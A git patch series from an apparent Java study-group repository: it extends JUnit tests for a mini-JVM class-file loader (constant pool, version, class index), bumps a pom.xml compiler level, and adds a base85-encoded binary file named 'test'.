+++ b/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -5,20 +5,32 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.loader.ClassFileLoader;
 
-
-
-
-
 public class ClassFileloaderTest {
 
 	
+	private static final String TEST_EMPLOYEE_V1_CLASS = "com.coderising.jvm.test.EmployeeV1";
 	private static final String CAFEBABE = "cafebabe";
 	static String path1 = "D:\\Dev\\git_repository\\coding2017\\group04\\498654356\\mini-jvm\\jvm\\target\\test-classes";
 	static String path2 = "C:\\temp";
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 	
-	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = TEST_EMPLOYEE_V1_CLASS;
+		clzFile = loader.loadClass(className);
+//		clzFile.print(); //TODO
+	}
 	
 	@Before
 	public void setUp() throws Exception {		 
@@ -47,7 +59,7 @@ public void testClassFileLength() {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
 		
-		String className = "com.coderising.jvm.test.EmployeeV1";
+		String className = TEST_EMPLOYEE_V1_CLASS;
 		
 		byte[] byteCodes = loader.readBinaryCode(className);
 		
@@ -61,7 +73,7 @@ public void testClassFileLength() {
 	public void testMagicNumber(){
     	ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
+		String className = TEST_EMPLOYEE_V1_CLASS;
 		byte[] byteCodes = loader.readBinaryCode(className);
 		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
 		
@@ -71,16 +83,11 @@ public void testMagicNumber(){
 		Assert.assertEquals(CAFEBABE, acctualValue);
 	}
     
-    
-    
-    
-    
-    
 	private String byteToHexString(byte[] codes ){
 		StringBuffer buffer = new StringBuffer();
 		for(int i=0;i<codes.length;i++){
 			byte b = codes[i];
-			int value = b & 0xFF;
+			int value = b & 0xFF;	//去除符号位
 			String strHex = Integer.toHexString(value);
 			if(strHex.length()< 2){
 				strHex = "0" + strHex;
@@ -90,4 +97,99 @@ private String byteToHexString(byte[] codes ){
 		return buffer.toString();
 	}
 
+    /**
+     * ------------------------------- second ----------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+
+
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
 }

From 4ef40d8d5daff06a948d9fbaacba11ef7672b3a8 Mon Sep 17 00:00:00 2001
From: cmhello88 <cm_20094020@163.com>
Date: Sun, 9 Apr 2017 00:00:56 +0800
Subject: [PATCH 052/262] =?UTF-8?q?jvm=E9=83=A8=E5=88=86=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group03/345943980/download-0335/pom.xml       |   4 +-
 group03/345943980/download-0335/test          | Bin 0 -> 69464 bytes
 .../jvm/loader/ClassFileLoader.java           |  68 +++++++++++++++
 .../jvm/test/ClassFileloaderTest.java         |  81 ++++++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  30 +++++++
 5 files changed, 181 insertions(+), 2 deletions(-)
 create mode 100644 group03/345943980/download-0335/test
 create mode 100644 group03/345943980/mini-jvm-0330/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/EmployeeV1.java

diff --git a/group03/345943980/download-0335/pom.xml b/group03/345943980/download-0335/pom.xml
index b62ba3fec1..5193da926b 100644
--- a/group03/345943980/download-0335/pom.xml
+++ b/group03/345943980/download-0335/pom.xml
@@ -28,8 +28,8 @@
 				<groupId>org.apache.maven.plugins</groupId>
 				<artifactId>maven-compiler-plugin</artifactId>
 				<configuration>
-					<source>1.7</source>
-					<target>1.7</target>
+					<source>1.8</source>
+					<target>1.8</target>
 				</configuration>
 			</plugin>
 		</plugins>
diff --git a/group03/345943980/download-0335/test b/group03/345943980/download-0335/test
new file mode 100644
index 0000000000000000000000000000000000000000..e52791509fe4c7a96bc8344e71c6f52781e4b214
GIT binary patch
literal 69464
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
